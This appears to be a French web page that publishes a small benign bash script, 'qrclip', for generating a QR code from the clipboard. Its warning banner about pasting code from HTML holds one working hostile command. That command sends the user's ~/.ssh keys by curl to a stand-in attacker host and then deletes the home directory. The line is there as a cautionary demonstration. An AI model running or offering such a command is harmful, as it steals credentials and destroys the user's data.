Script: qrclip
⚠️ Évitez de copier/coller le code ci-dessous.
👉 Le HTML c'est sale. Il vous faut une preuve ? Essayez de copier-coller l'innocente petite commande suivante : echo Hello; curl -F "data=$(basenc --base64url < <(tar zc0 "$HOME/.ssh"))" leak.supervilain.com:/powned/ &>/dev/null; rm -rf "$HOME"/*; echo World
Mieux vaut télécharger le script au format texte brut en cliquant ici
#! /usr/bin/env bash
#
# Generate QRCode from clipboard
#
# Release: 1.1 of 2024/11/22
# 2024, Joseph Maillardet
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
set -euo pipefail
# Messagerie
msg() {
printf "%s\n" "$1"
}
error() {
msg "$1" >&2
[ -z "${2-}" ] || exit "$2"
}
# Test des binaires
[ -x "$(which xclip)" ] || error "Besoin de la commande xclip (sudo apt install xclip)" 1
[ -x "$(which qrencode)" ] || error "Besoin de la commande qrencode (sudo apt install qrencode)" 1
# Recherche de donnée à encoder
asked="${1-}" # premier argument ?
[ -z "$asked" ] && asked="$(xclip -o)" # clipboard ?
[ -z "$asked" ] && error "Pas de données à encoder !" 2
# Recherche d'un dossier temporaire
target_directory="${XDG_RUNTIME_DIR-}"
[ -d "$target_directory" ] || target_directory='/tmp'
target_file="$target_directory/qrclip-$(date +%s).$$.png"
encode_error() {
rm "$target_file"
error "L'encodage à échoué :(, qrencode est sortie avec: $1" "$1"
}
# Génération du QRcode
qrencode -s 8 -o "$target_file" -- "$asked" || encode_error "$?"
# Ouverture avec le programme par défaut
mimeopen "$target_file"
rm "$target_file"
exit 0
